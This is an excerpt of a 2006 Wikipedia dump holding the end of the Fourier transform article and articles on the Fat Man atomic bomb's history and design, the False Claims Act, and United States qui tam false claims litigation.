The DFT is a special case of (and is sometimes used as an approximation for) the [[discrete-time Fourier transform]] (DTFT), in which the ''x''&lt;sub&gt;''k''&lt;/sub&gt; are defined over discrete but infinite domains, and thus the spectrum is continuous and periodic.  The DTFT is essentially the inverse of the Fourier series.

These Fourier variants can also be generalized to Fourier transforms on arbitrary [[locally compact]] [[abelian]] [[topological group]]s, which are studied in [[harmonic analysis]]; there, one transforms from a group to its [[dual group]]. This treatment also allows a general formulation of the [[convolution theorem]], which relates Fourier transforms and [[convolution]]s.  See also the [[Pontryagin duality]] for the generalized underpinnings of the Fourier transform.

[[Time-frequency transform]]s such as the [[short-time Fourier transform]], [[wavelet transform]]s, [[chirplet transform]]s, and the [[fractional Fourier transform]] try to obtain frequency information from a signal as a function of time (or whatever the independent variable is), although the ability to simultaneously resolve frequency and time is limited by a (mathematical) [[uncertainty principle]].

=== Family of Fourier transforms ===

The following table summarizes the family of Fourier transforms. We see that discreteness in one domain implies periodicity in the conjugate domain and that continuity in one domain implies aperiodicity in the conjugate domain. Moreover: reality in one domain implies symmetry in the conjugate domain.
{| align=center cellspacing=&quot;0&quot; cellpadding=&quot;4&quot; border=&quot;1&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! '''Transform''' || '''Time''' || '''Frequency'''
|-
|[[Continuous Fourier transform]]    || Continuous, Aperiodic ||Continuous, Aperiodic
|-
|[[Fourier series]]                  || Continuous, Periodic  || Discrete, Aperiodic
|-
|[[Discrete-time Fourier transform]] || Discrete, Aperiodic   || Continuous, Periodic
|-
|[[Discrete Fourier transform]]      || Discrete, Periodic    || Discrete, Periodic
|}

==Interpretation in terms of time and frequency==

In terms of [[Signal (information theory)|signal]] processing, the transform takes a [[time series]]  representation of a signal function and maps it into a [[frequency spectrum]], where &amp;omega; is [[angular frequency]].  That is, it takes a function in the [[time]] domain into the [[frequency]] domain; it is a [[orthogonal system|decomposition]] of a function into [[harmonic]]s of different frequencies.

When the function ''f'' is a function of time and represents a physical [[Signal (information theory)|signal]],
the transform has a standard interpretation as the frequency spectrum of the signal. The [[magnitude (mathematics)|magnitude]] of the resulting complex-valued function ''F'' represents the [[amplitude]]s of the respective frequencies (&amp;omega;), while the [[phase_(waves)|phase shift]]s are given by ''arctan(imaginary parts/real parts)''.

However, it is important to realize that Fourier transforms are not limited to functions of time, and temporal frequencies.  They can equally be applied to analyze ''spatial'' frequencies, and indeed for nearly any function domain.

==Applications in signal processing==

In signal processing, Fourier transformation can isolate individual components of a complex signal, concentrating them for easier detection and/or removal.  A large family of signal processing techniques consist of Fourier-transforming a signal (such as a clip of [[Sound|audio]] or an [[image]]), manipulating the Fourier-transformed data in a simple way, and reversing the transformation. Some examples include:

* Removal of unwanted frequencies from an audio recording (used to eliminate [[hum]] from leakage of [[AC power]] into the signal, to eliminate the [[stereo subcarrier]] from [[FM radio]] recordings, or to create [[karaoke]] tracks with the vocals removed;

* [[Noise gating]] of audio recordings to remove quiet background noise by eliminating Fourier components that do not exceed a preset amplitude;

* [[Equalization]] of audio recordings with a series of [[bandpass filter]]s;

* Digital radio reception with no [[superheterodyne]] circuit, as in a modern [[cell phone]] or [[radio scanner]];

* [[Image processing]] to remove periodic or [[anisotropic]] artifacts such as [[jaggies]] from interlaced video, stripe artifacts from [[strip aerial photography]], or wave patterns from [[radio frequency interference]] in a digital camera;

* [[cross correlation]] of similar images for [[co-alignment]].

* [[X-ray crystallography]], Fourier transforms are used to reconstruct a protein's structure from its diffraction pattern.

Fourier transformation is also useful as a compact representation of a signal.  For example, [[JPEG]] compression uses Fourier transformation of small square pieces of a digital image.  The Fourier components of each square are rounded to lower [[arithmetic precision]], and weak components are eliminated entirely, so that the remaining components can be stored very compactly.  In image reconstruction, each Fourier-transformed image square is reassembled from the preserved approximate components, and then inverse-transformed to produce an approximation of the original image.

==References==
* Smith, Steven W. ''The Scientist and Engineer's Guide to Digital Signal Processing'', 2nd edition. San Diego: California Technical Publishing, 1999. ISBN 0-9660176-3-3. ''(also available online: [http://www.dspguide.com/pdfbook.htm])''
* A. D. Polyanin and A. V. Manzhirov, ''Handbook of Integral Equations'', CRC Press, Boca Raton, 1998. ISBN 0-8493-2876-4

==See also==

* [[Number-theoretic transform]]
* [[Laplace transform]]
* [[Two-sided Laplace transform]]
* [[Mellin transform]]
* [[Orthogonal functions]]
* [[Wavelet]]
* [[Chirplet]]
* [[Characteristic function (probability theory)]]
* [[Bispectrum]]

==External links==
*[http://wims.unice.fr/wims/wims.cgi?session=6WA23CFB0C.3&amp;+lang=en&amp;+module=tool%2Fanalysis%2Ffourierlaplace.en Online Computation] of the transform or inverse transform, wims.unice.fr
*[http://eqworld.ipmnet.ru/en/auxiliary/aux-inttrans.htm Tables of Integral Transforms] at EqWorld: The World of Mathematical Equations.
*[http://cns-alumni.bu.edu/~slehar/fourier/fourier.html An Intuitive Explanation of Fourier Theory] by Steven Lehar.


[[Category:Fourier analysis]]
[[Category:Integral transforms]]
[[Category:Digital signal processing]]

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  <page>
    <title>Fat Man</title>
    <id>11660</id>
    <revision>
      <id>41836678</id>
      <timestamp>2006-03-02T01:38:08Z</timestamp>
      <contributor>
        <ip>72.226.32.134</ip>
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      <comment>/* The Bombing */</comment>
      <text xml:space="preserve">[[Image:Fat man.jpg|thumb|300px|right|A post-war &quot;Fat Man&quot; model.]]
'''&quot;Fat-Man&quot;''' was the codename of the [[nuclear weapon|atomic bomb]] which was detonated over [[Nagasaki]], [[Japan]] by the [[United States]], on [[August 9]], [[1945]]. It was the second of the two nuclear weapons to be used in [[war|warfare]]. The name also refers more generically to the early [[nuclear weapon design]]s of U.S. weapons based on the &quot;Fat Man&quot; model.


==Technology==

The weapon was 7-foot 8-inch (2.34 [[metre]]) long, five-foot (1.52 metre) diameter, and had a mass of 10,200 pounds (4,630&amp;nbsp;[[kilogram|kg]]):  in accordance with the name, it was more than twice as wide as [[Little Boy]], dropped on [[Hiroshima]] three days earlier; however, the mass was only 10% more.

It was detonated at an altitude of about 1,800 feet (550&amp;nbsp;m) over the city.  It was dropped from the [[B-29 Superfortress|B-29]] bomber [[Bockscar]], piloted by Major [[Charles Sweeney]]. The bomb had a yield of about 21 [[kiloton]]s of [[trinitrotoluene|TNT]], or 8.78×10&lt;sup&gt;13&lt;/sup&gt; [[joule]]s = 88&amp;nbsp;TJ ([[tera]]joules).[http://www.warbirdforum.com/hiroshim.htm]  Because of Nagasaki's hilly terrain, the damage was somewhat less extensive than that in relatively flat Hiroshima. An estimated 40,000 people were killed outright by the bombing at Nagasaki, and about 25,000 were injured.[http://www.yale.edu/lawweb/avalon/abomb/mp10.htm] Many thousands more would die later from related injuries, and [[radiation poisoning|radiation sickness]] from [[nuclear fallout]].

&quot;Fat Man&quot; was an [[implosion]] type weapon using [[plutonium]].  A subcritical sphere of plutonium was placed in the center of a hollow sphere of [[high explosive]].  Numerous [[exploding-bridgewire detonator|detonators]] located on the surface of the high explosive were fired simultaneously to produce a powerful inward [[pressure]] on the core, squeezing it and increasing its density, resulting in a supercritical condition and a nuclear explosion.

[[Image:Implosion Nuclear weapon.png|left|300px|Illustration of the implosion concept.]]

At first it was thought that two pieces of sub-critical plutonium (Pu-239) could simply be shot into one another to create a nuclear explosion, and a plutonium gun-type design of this sort (known as the &quot;Thin Man&quot; bomb) was worked on for some time during the Manhattan Project.[http://www.lanl.gov/history/atomicbomb/pu-complicates.shtml] However it was discovered that plutonium created for the bomb in the [[nuclear reactor]]s at [[Hanford Site|Hanford, Washington]], even though it was super-grade weapon plutonium containing only about 0.9% Pu-240, was not as pure as the initial samples of plutonium developed at the [[cyclotron]]s at [[Ernest O. Lawrence]]'s [[Lawrence Berkeley National Laboratory|Radiation Laboratory]] in [[Berkeley, California]]. Because of the presence of the isotope Pu-240, reactor-bred plutonium had a much higher rate of spontaneous [[neutron emission]] than was previously thought, and if a gun-type device was used it would most likely pre-detonate and result in a messy and costly &quot;fizzle&quot;. The [[spontaneous fission]] rate of Pu-240 is 415,000 fissions/(s·kg), and the amount was 0.9% of 6.2 kg, is 56 g. Thus there were 23,000 spontaneous fissions per second. This means that the last few centimeters would have to be travelled in preferably much less than 40 microseconds.

It is theoretically possible to build a plutonium gun-type device, but it would need to be 19 feet long in order to allow the sub-critical masses to be fused into a critical mass before a fizzle occurs. The mass of a plutonium gun-type device would have been beyond the payload of the B-29.

After this problem was realized in 1943, work began in earnest on the implosion bomb, the &quot;Fat Man&quot;.

The gun-type method could still be used for highly-enriched uranium, though, and was employed in the &quot;[[Little Boy]]&quot; weapon which was used against [[Hiroshima]], [[Japan]]. For a variety of reasons, the implosion method is both more efficient than the gun-type method, and also far safer, as a perfect synchronization of the explosion lenses is required for the core to properly detonate, greatly reducing the chances of an accidental nuclear detonation. 

[[Image:Trinity Gadget.gif|thumb|250px|right|The &quot;[[Trinity test|Trinity]]&quot; device was similar to the &quot;Fat Man&quot; bomb.]]

Because of its complicated firing mechanism, and the need for previously untested synchronization of explosives and precision design, it was felt that a full test of the concept was needed before the scientists and military representatives could be confident it would perform correctly under combat conditions. On [[July 16]], [[1945]], a device utilizing a similar mechanism (called the &quot;[[the gadget|gadget]]&quot; for security reasons) detonated in a [[nuclear testing|test explosion]] at a remote site in [[New Mexico]], known as the &quot;[[Trinity test|Trinity]]&quot; test. In the end, it gave somewhere around 20 kt (80 TJ), 2 to 4 times the expected yield.

==The Bombing==

The [[Soviet atomic bomb project|Soviet Union's first nuclear weapon]] detonated at Operation First Lightning (known as &quot;[[Joe 1]]&quot; in the West) was more or less a purposeful copy of the &quot;Fat Man&quot; device, on which they had obtained detailed information from the spy [[Klaus Fuchs]]. 

Immediately after the bombings of Japan, the United States produced a technical history of the Manhattan Project, known as the [[Smyth Report]], that did not disclose the information that the &quot;Fat Man&quot; device was different from the &quot;Little Boy&quot; device, and did not imply that a different method was required for plutonium weapons. The &quot;implosion&quot; design was considered top-secret in the United States until it was declassified and released during the testimony of [[David Greenglass]] against [[Ethel and Julius Rosenberg]] in [[1951]]. Photographs of the casings of &quot;Little Boy&quot; and &quot;Fat Man&quot; were not released publicly until the 1960s.

The United States produced a small stockpile of &quot;Fat Man&quot; bombs after the war, but they were highly idiosyncratic and extremely delicate. It was eventually re-worked in the [[MK 4 Fat Man]] bomb, which was similar in principle but was appropriate for long-term stockpiling, use by non-experts, and used a more efficient implosion system (with a 60 point implosion system, compared to the 32 point weapon used in the war). 

==The Gadget==

[[Image:Gadget-schematic-crosssection.png|Schematic cross-section of the &quot;gadget&quot;]]

Schematic cross-section of the &quot;gadget&quot;; some boundaries are approximate. From left to right (outside inward):
* [[duralumin|dural]] casing, ~140 cm inner diameter
* [[exploding-bridgewire detonator]] (allows for instantaneous detonation of explosives) 
* faster explosive, Composition-B; 60% RDX, 39% TNT, 1% wax
* slower explosive ([[Baratol (explosive)|Baratol]])
* faster explosive, &quot;amplifier&quot;
* [[aluminum]]&amp;ndash;[[boron]] &quot;pusher&quot; (absorbs stray neutrons and widens/smooths implosion pulse)
* natural-[[uranium]] &quot;tamper&quot; (neutron reflector, inertial containment, improves efficiency, reduces the amount of fission material needed)
* the &quot;pit&quot;; [[plutonium]]-239&amp;ndash;plutonium-240&amp;ndash;[[gallium]] delta-phase [[alloy]] (96%&amp;ndash;1%&amp;ndash;3% by molality) (fissionable material); sphere with a diameter of 9 cm, with a 2.5 cm cavity and a plutonium plug to allow initiator insertion; mass 6.2 kg
* air gap
* [[beryllium]]&amp;ndash;[[polonium]]-210 &quot;initiator&quot; (the &quot;urchin&quot;), neutron source

==Interior of bomb==
The original blueprints of the interior of both Fat Man and Little Boy are still classified. However, there is much information about the main parts.

{| border=&quot;0&quot;
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|
# AN 219 destruct fuse
# ''Archie'' radar antenna
# Plate with batteries (to detonate charge surrounding nuclear components)
# ''X-Unit'', a firing set placed near the charge
# Hinge fixing the two ellipsoidal parts of the bomb
# High explosive pentagonal lens (12 units around the core, made of high and low velocity explosive), together with the next item forming the  pattern of a [[truncated icosahedron]] 
# High explosive hexagonal lens (20 units around the core, made of high and low velocity explosive)
# ''California Parachute'' tail (aluminium)
# Dural casing, ~140 cm inner diameter
# Cones that contained the whole sphere
# Explosive lenses (low and high velocity)
# Nuclear material (see other figure for details about the different layers)
# Plate with instruments (radars, baroswitches and timers)
# Barotube collector
|}

== See also ==
* [[Little Boy]]
* [[Manhattan Project]]
* [[Trinity test]]
* [[The gadget]]
* [[Atomic bombings of Hiroshima and Nagasaki]]

==External links==
*[http://nuclearweaponarchive.org/Nwfaq/Nfaq8.html#nfaq8.1.1 thorough descriptions of Gadget] (&quot;a great deal of tissue paper and scotch tape were used to make everything fit snugly&quot;) and [http://nuclearweaponarchive.org/Nwfaq/Nfaq8.html#nfaq8.1.4 Fat Man] at Nuclear Weapons Archive
*[http://www.cartage.org.lb/en/themes/Sciences/Chemistry/NuclearChemistry/NuclearWeapons/FirstChainReaction/FirstNuclWeapons/DesignGadget.htm The Design of Gadget, Fat Man, and &quot;Joe 1&quot; (RDS-1)]
* [http://www.nuclearfiles.org/menu/key-issues/nuclear-weapons/history/pre-cold-war/manhattan-project/fatman.htm Nuclear Files.org] Definition and explanation of 'Fat Man'
* [http://www.atomicarchive.com/Movies/Movie3.shtml Fat Man Model] in QuickTime VR format

[[Category:Manhattan Project]]
[[Category:Nuclear bombs]]
[[Category:Atomic bombings of Hiroshima and Nagasaki]]

[[af:Fat Man]]
[[da:Fat Man]]
[[de:Fat Man]]
[[es:Fat Man]]
[[fr:Fat Man]]
[[ko:팻 맨]]
[[it:Fat Man]]
[[nl:Fat Man]]
[[ja:ファットマン]]
[[pl:Fat Man]]
[[pt:Fat Man]]
[[sv:Fat Man]]
[[zh:胖子原子彈]]</text>
    </revision>
  </page>
  <page>
    <title>False Claims Act</title>
    <id>11661</id>
    <revision>
      <id>33609081</id>
      <timestamp>2006-01-02T16:37:30Z</timestamp>
      <contributor>
        <username>Locke Cole</username>
        <id>428690</id>
      </contributor>
      <minor />
      <comment>/* 1986 changes */ wikify a little bit</comment>
      <text xml:space="preserve">In the [[United States]], the '''False Claims Act''' ({{usc|31|3729}} ''et seq.'') provides a powerful [[law|legal]] [[tool]] to counteract fraudulent billings turned in to the Federal Government. Citizens with insider knowledge of false claims in health care, military, or other government spending programs can be rewarded.

== Provisions ==

The Act establishes liability when any person or entity improperly receives from or avoids payment to the Federal government--tax fraud excepted.   In summary, the Act prohibits: 
# Knowingly presenting, or causing to be presented to the Government a false claim for payment;
# Knowingly making, using, or causing to be made or used, a false record or statement to get a false claim paid or approved by the government;
# Conspiring to defraud the Government by getting a false claim allowed or paid;
# Falsely certifying the type or amount of property to be used by the Government;
# Certifying receipt of property on a document without completely knowing that the information is true;
# Knowingly buying Government property from an unauthorized officer of the Government, and;
# Knowingly making, using, or causing to be made or used a false record to avoid, or decrease an obligation to pay or transmit property to the Government.

== 1986 changes ==

(False Claims Act Amendments of 1986, Pub. L. 99-562, Oct. 27, 1986, 100 Stat. 3153)

# The elimination of the &quot;government possession of information&quot; bar against [[qui tam]] lawsuits;
# The establishment of defendant liability for &quot;deliberate ignorance&quot; and &quot;reckless disregard&quot; of the truth;
# Restoration of the &quot;[[burden of proof|preponderance of the evidence]]&quot; standard for all elements of the claim including damages;
# Imposition of treble damages and civil fines of $5,000 to $10,000 per false claim;
# Increased rewards for qui tam plaintiffs of between 15-30 percent of the funds recovered from the defendant;
# Defendant payment of the successful plaintiff's expenses and attorney's fees, and;
# Employment protection for whistleblowers including reinstatement with seniority status, special damages, and double back pay.

== See also ==
*[[U.S. false claims law (in depth)]]

== External links ==
*[http://www.taf.org Taxpayers Against Fraud]
*[http://www.falseclaimslaw.com FalseClaimsLaw.Com]
*[http://www.solari.com/gideon/ False Claims Law Abuse]
*[http://www.quitamonline.com/ Qui Tam your False claims Act Source]
*[http://www.ffhsj.com/quitam/cfc.htm Civil False Claims/Qui Tam Page]
*[http://www.expertlaw.com/library/pubarticles/Employment/qui-tam.html How a Qui Tam Whistleblower Case Works]
[[Category:United States federal legislation]]</text>
    </revision>
  </page>
  <page>
    <title>United States false claims law</title>
    <id>11663</id>
    <revision>
      <id>39821875</id>
      <timestamp>2006-02-16T02:18:59Z</timestamp>
      <contributor>
        <ip>68.39.174.238</ip>
      </contributor>
      <comment>POV-part</comment>
      <text xml:space="preserve">:''The following is an '''in-depth review of false claims law''' in the [[United States]]; an [[False Claims Law|introductory article]] is also available.''

The [[United States]] [[General Accounting Office]] (GAO) estimates that medical [[fraud]] and abuse approaches 10% of all health care expenditures or $100 billion dollars.  To reduce this figure, the [[Justice Department]] and private litigators have used the [[False Claims Act]] (FCA) as the fraud fighting weapon of choice.  Private litigators are given standing to file civil suit on the Federal government's behalf by the FCA's ''qui tam'', or ''[[whistleblower]]'' provisions.  ''Qui tam'' is short for ''qui tam pro domino rege quam pro se ipso in hac parte sequitur'' or &quot;he who brings the action for the king as well as for himself [sic].&quot; 

These provisions gained renewed public attention following the False Claims Act Amendments Act of [[1986]].  The 1986 Amendments made it easier for ''qui tam'' relators to file claims and increased the rewards for doing so.  Initially, the FCA was used to fight [[defense contractor]] fraud, but it was soon applied to other areas of government spending, including Medicare and Medicaid.

The ''qui tam'' provisions' growing application to medical fraud reflects their effectiveness.  In 1988, medical fraud recoveries, using the ''qui tam'' provisions, amounted to a mere one percent of the total ''qui tam'' recoveries, with the majority defense-related.   By 1993, that total had grown to 46 percent and has remained over one third of total ''qui tam'' recoveries ever since.   

The following summarizes the ''qui tam'' lawsuit from [[plaintiff]] and [[defendant]] perspectives.  First, there is a brief review of the history and current scope of the False Claims Act.  Second, the elements of a ''qui tam'' action are examined.  Third, some strategies for those institutions and individuals who are actual or potential defendants in a ''qui tam'' action are suggested. In conclusion, there is an exploration of the reaction of the health care industry to this powerful law and possible future developments.

== Qui tam's origins ==

In the United States, laws dating back to 1790 authorized private citizens to sue on behalf of the Federal Government.  However, the FCA statute being used today passed in March [[1863]], following Congressional reaction to fraud perpetrated by [[Union Army]] suppliers.  The triggering incident occurred when a key Union position was jeopardized by the delivery of rifle and ammunition boxes containing only sawdust.   

Known as the [[Abraham Lincoln|Lincoln]] Law, defendants shown to have defrauded the government faced penalties of double the damages suffered by the government plus a $2,000 civil penalty per false claim.   The ''qui tam'' relator received half of the recovered amount. 

In [[1943]], Congress amended the FCA following a multitude of &quot;parasitic&quot; lawsuits in which plaintiffs sued based on information already in the government's possession.  The Congressional changes barred use of information in the public record and lowered the reward to between ten and 25 percent of any recovery.  As a result, until Congress changed the law in 1986, few ''qui tam'' cases were filed.	

During the [[1980s]] defense buildup, reports of $400 hammers and $800 toilet seats led Congress to revise the statute.   The 1986 FCA amendments raised the reward for ''qui tam'' plaintiffs to between 15 and 30 percent of the recovery, eased restrictions on the use of public information, and inserted provisions to allow the plaintiff to recover damages stemming from workplace retaliation.   As a result, ''qui tam'' lawsuits dramatically increased. 

== The scope of the False Claims Act ==
The FCA is broadly applicable to almost any situation where federal dollars are involved. Given the Act's current structure it seems that categories of ''qui tam'' cases will grow--limited only by the ''qui tam'' plaintiff's tenacity and ingenuity.  This possibility is reflected in the many categories of cases resulting in ''qui tam'' recoveries including, but not limited to:
* failures to report fraud; 
* education grants; 
* housing programs;
* emergency relief programs;
* fraudulent pre-selection of beneficiaries for Federal programs;
* defense contracting;
* agriculture support programs; 
* false certifications of compliance with environmental laws;
* vehicle parts suppliers; and
* Medicare/Medicaid fraud.

Subcategories  of medical fraud include: 
* double billing;
* use of untrained personnel to provide services;
* failure to supervise unlicensed personnel;
* distribution of unapproved devices or drugs;
* forgery of physician's signatures;
* creation of phony insurance companies or employee benefit plans;
* upcoding;
* unbundling;
* kickbacks;
* services provided without medical necessity;
* fraudulent cost reports;
* inadequate care, and;
* use of substandard equipment.

== Federal health care enforcement initiatives ==

On March 21, 1995, FBI Director [[Louis Freeh]] stated that organized crime has &quot;penetrated virtually every legitimate segment of the health care industry.&quot;   That is why Attorney General [[Janet Reno]] ranked health care fraud &quot;one of the highest priorities&quot; of the Justice Department.  Congress responded to Reno and Freeh by passing the [[HIPAA|Health Insurance Portability and Accountability Act]] of 1996 (HIPAA or the Act), found at § 1128C(a) of the [[Social Security Act]].

The Act requires that, after restitution, compensation, and relator's awards are paid, all health care related criminal fines, forfeitures, and civil and administrative penalties and judgements be placed in the Federal Hospital Insurance Trust Fund.   The Secretary of [[United States Department of Health and Human Services|Health and Human Services]] (HHS) and the [[United States Attorney General|Attorney Genera]]l can then appropriate money from the fund to combat fraud.  In 1997, the program's first year, the Attorney General appropriated $104 million from this fund.   Separately, the FBI received $47 million.   Consequently, all 94 U.S. Attorney's offices have coordinated criminal and civil enforcement teams and the FBI has 370 agents dedicated to health care fraud.  The False Claims Act is the statute of choice for the U.S. Attorney's engaged in this effort.   In particular, ''qui tam'' cases represent about one third of total recoveries.   

The effort has produced dramatic results. In 1997, prosecutors filed 282 criminal indictments and &quot;opened&quot; 4,010 civil matters, a 61 percent increase over 1996.   They won $1.2 billion and collected $1.087 billion in judgments, settlements, and administrative fines.  Furthermore, over 2,700 individuals and entities were excluded from federal health care programs.   

However, the qui tam provisions' greatest impact is in their deterrent effect.  Professor William Stringer estimated that the deterrence value of qui tam lawsuits saved the Federal Government between $35.6 billion to $71.3 billion from 1986-1996.  Over the next ten years, Professor Stringer projects that the FCA's qui tam provisions will save $105.1 billion to $210.1 billion.   												
== Initiating a civil action ==

The Attorney General initiates most civil actions for false claims.   When private individuals file an action under the FCA it is brought in the government's name.  The claim is filed in camera and under seal in the U.S. District Court with jurisdiction over the claim.  Copies of the complaint and a written disclosure of all material evidence and information should be served on the local U.S. Attorney and in Washington, D.C. with the U.S. Attorney General.   

== Government intervention ==

The government has chosen to intervene in 22 percent of the cases it has reviewed.   The Government has 60 days from the time the sealed complaint is filed to decide whether or not to intervene.   However, the Government may obtain an extension for &quot;good cause shown.&quot;   In almost all cases the government will ask for an additional 60 days to investigate the complaint.   In that 120 day period, Justice Department, FBI, Office of Inspector General (OIG), and HHS resources may be employed to interview the relator and her counsel, review the relator's complaint and supporting documents, wiretap, inspect the medical provider's documents at their place of business, and review the medical provider's filings with Medicare and Medicaid.  
If the case is strong and the potential recovery is high enough, the government will probably intervene.  

Government intervention is generally good for the relator.  The prospective defendant is apt to be intimidated by the government's massive effort.  However, when the Government intervenes, the relator, though still a party to the action, loses control of the proceedings and the relator's reward is limited to between 15 and 25 percent of the government's total recovery  plus reasonable attorney's fees and expenses.   One Assistant [[United States Attorney]] made clear the effect of government intervention when he stated &quot;if we intervene, [the relator and her counsel] will not be active participants.  When we take the case over, we do take it over.&quot;   This leaves the government free to negotiate with the defendant as long as the resulting settlement is &quot;fair, adequate, and reasonable.&quot;  

Even when the government initially declines to intervene, it retains intervention rights throughout the subsequent proceedings.   Furthermore, when a relator settles a case 31 U.S.C. § 3730(b)(1) provides that &quot;the action may be dismissed only if the court and the Attorney General give written consent to the dismissal and their reasons for consenting.&quot;  Despite this wording, some courts have held that if the government declines to intervene, either while the case is under seal or during the course of the action, then it loses standing to object to voluntary dismissal of the action  or to object to the settlement terms between the defendant and the relator.   Finally, when the government declines to intervene the relator's share of the award increases to between 25 and 30 percent of the recovery plus reasonable attorney's fees and expenses. 

== Jurisdiction and venue ==

A ''qui tam'' action may be brought in any judicial district in which the defendant(s) can be found, resides, transacts business, or in which the false claim occurred.  Under § 3732(a), the Federal Courts may also have jurisdiction over state whistleblower claims if they arose from the same transaction or occurrence that triggered the Federal ''qui tam'' action.  This is important in states such as Ohio, Florida, and California that have their own whistleblower statutes. 

== Statute of limitations ==

The [[statute of limitations]] is defined under § 3731(b).  A claim must be brought within six years from the date on which the violations of § 3729 were committed or three years after the date when facts material to the right of action are known or reasonably should have been known by the United States official charged with the responsibility to act in the circumstances, but not more than ten years after the date of the violation, whichever occurs last.  A relator is not required to file suit as soon as he or she uncovers the false claims. However, the reward may be reduced by the Court if the relator unreasonably delays bringing the action.   

== Standing ==

Under 31 U.S.C. § 3730(a), the U.S. Attorney General is empowered to institute a civil action against persons that submit claims in violation of 31 U.S.C. § 3729.  Section 3730(b) contains the ''qui tam'' provision which provides for &quot;a person&quot; to bring a civil action on the government's behalf for violations of § 3729.

To have standing under Article III of the Constitution the relator must show actual or threatened injury.   In several cases, defendants have unsuccessfully attempted to challenge the relator's standing.  United States ex rel. Truong v. [[Northrop Corporation]] was the clearest opinion rejecting such challenges. In that case, the court found that the relator's standing stemmed from the injury to the Federal Government in whose name the suit was brought. The relator's standing is not an issue when the U.S. government intervenes or when the relator has suffered actual damages due to actions taken by his or her employer.

== Relator and subject matter jurisdiction	==

Unless the relator bringing the qui tam lawsuit is the &quot;original source&quot; of the information, the court will lack subject matter jurisdiction.   To be an original source the relator must have &quot;direct and independent knowledge of the information on which the allegations are based.&quot;   Furthermore, the relator must have &quot;voluntarily provided the information to the Government before filing the action....&quot; 

The [[United States court of appeals|Federal courts of appeal]] are divided on their interpretations of &quot;public disclosure,&quot; and &quot;original source.&quot; For example, the [[United States Court of Appeals for the District of Columbia Circuit|D.C. Circuit Court of Appeals]] held that a ''qui tam'' claim is barred only if it is based on publicly disclosed &quot;allegations or transactions&quot; but not if it is based on mere &quot;information&quot; that does not clearly expose the fraud.   The [[United States Court of Appeals for the First Circuit|First Circuit Court of Appeals]] has been the most liberal in its interpretation of original source.  It simply held that a ''qui tam'' claim &quot;that has not yet been the subject of a claim by the government... will be allowed to go forward.&quot;   However, the [[United States Court of Appeals for the Second Circuit|Second Circuit Court of Appeals]] is more restrictive.  It held that &quot;public disclosure of the allegations divests district courts of jurisdiction over qui tam suits.&quot; 

The Sixth Circuit seems to follow a middle course.  In U.S., ex rel. Pogue v. American Healthcorp., Inc., the court held that &quot;Congress sought to prohibit qui tam actions only when either the allegation of fraud or the critical elements of the fraudulent transactions themselves were in the public domain.&quot;   In that case, the court found that business prospectuses, one annual report, and three independent newspaper reports contained &quot;language too general to put the reader on the trail of the alleged illegal referral scheme.&quot;   The court cited the D.C. Circuit Court's opinion in U.S. ex rel. Findley v. FPC-Boron Employees' Club which held that a relator's claim will not be invalidated unless the public disclosures &quot;specifically identify the nature of the fraud.&quot;

== Scienter ==

The scienter or knowledge requirement under the FCA is less than the elements of common law fraud.   As noted above, the plaintiff must prove either 1) actual knowledge of the falsity of the information submitted to the government; 2) deliberate ignorance of the truth or falsity of the information; or 3) a reckless disregard of the truth or falsity of the information.  Thus, only the defendant's negligence or innocent mistake will go unpunished.

== Particularity ==

There are some differences among the [[United States federal judicial circuit|circuit courts]] regarding Federal Rule of Civil Procedure 9(b)'s requirement that fraud be pleaded with particularity.  Rule 9(b) requires that &quot;in all averments of fraud or mistake, the circumstances constituting fraud or mistake shall be stated with particularity.  Malice, intent, knowledge, and other condition of mind of a person may be averred generally.&quot;  The [[United States Court of Appeals for the Sixth Circuit|sixth circuit]] has construed Rule 9(b), as requiring a plaintiff to allege, at minimum, &quot;the time, place, and content&quot; of the alleged misrepresentation constituting fraud.   However, in the Sixth Circuit, Rule 9(b) is modified by Rule 8 which calls for simple, concise and direct allegations in pleading.   For example, in Pogue the court held that, even though the plaintiff gave no specific dates nor identified any particular employees, his general reference to a time frame of 12 years and his identification of the corporation's involved met the particularity requirement.   Furthermore, an Illinois District Court, in U.S. ex rel. Robinson v. Northrop Corp., held that &quot;pleadings cannot generally be based on information and belief unless the factual information is 'peculiarly within the defendant's knowledge or control.'&quot;   Thus, there are alternative means to satisfy Rule 9(b) requirements as long as the defendant is provided with &quot;fair notice of the claims against him.&quot;   Despite these possibilities, plaintiffs should do their best to meet the time, place, and content requirements to avoid defendant motions to dismiss and to better sell their cases to the U.S. Attorneys reviewing the complaints. 

== Double jeopardy considerations ==

Under § 3731(d), the civil case is stayed during the defendant's criminal trial.  Once the defendant is either convicted, pleads nolo contendere, or pleads guilty, the defendant is estopped &quot;from denying the essential elements of the offense in any action which involves the same transaction as the criminal proceeding.&quot;  Thus, the civil trial is carried out only to determine damages.   As can be seen in the above listing of damages and penalties, the qui tam penalties can be great.

In December 1997, the Supreme Court, in Hudson v. U.S., overturned U.S. v. Halper and held that civil penalties plus criminal fines do not violate the Constitution's [[double jeopardy]] clause.   In Halper, the defendant overcharged Medicare by $9.00 on each of 65 claims he submitted--$585.00 total.   He was subsequently convicted of violating 18 U.S.C. § 287, the criminal false claims statute and sentenced to two years in jail and fined $5,000.  The government then sued him under the FCA attempting to hold him liable for a further $130,000.    In that case, the Supreme Court affirmed a federal district court decision which held that the FCA penalty violated the double jeopardy clause given Halper's criminal conviction. 

In rejecting Hudson, Chief Justice [[William Rehnquist]], writing for the majority, stated that &quot;we believe that Halper's deviation from longstanding double jeopardy principles was ill considered.&quot;   The Supreme Court held that the Fifth Amendment's double jeopardy clause &quot;protects only against the imposition of multiple criminal punishments for the same offense ... and then only when such occurs in successive proceedings.&quot;   The court stated that &quot;the ills at which  Halper was directed are addressed by other constitutional provisions.  The Due Process and Equal Protection Clauses already protect individuals from sanctions which are downright irrational.&quot; 

== Settling a ''qui tam''/FCA lawsuit ==

The settlement agreement in U.S. ex rel. Wagner v. Allied Clinical Laboratories provides an example of a fairly typical settlement agreement.  In that case Allied falsely submitted claims to Medicare to induce improper payment for tests and improperly collected Medicare payments.
In summary the agreement provided that:
* Allied would repay to the United States $4,900,000 of which $833,458 was paid directly to the relators; 
* That Allied was released from any civil or administrative monetary claims under the FCA, the [[Program Fraud Civil Remedies Act]], 31 U.S.C. § 3801 et seq.; the Civil Monetary Penalties Law, 42 U.S.C. § 1320a-7a; or the common law for the conduct described in the Civil Action; 
* That Allied was released from civil or administrative monetary penalties under the above categories from liability for all acts Allied voluntarily disclosed following an internal audit of all its billing practices;   
* The United States does not release Allied or any other entity or individual from any criminal liability arising from the conduct described in the Civil Action. 
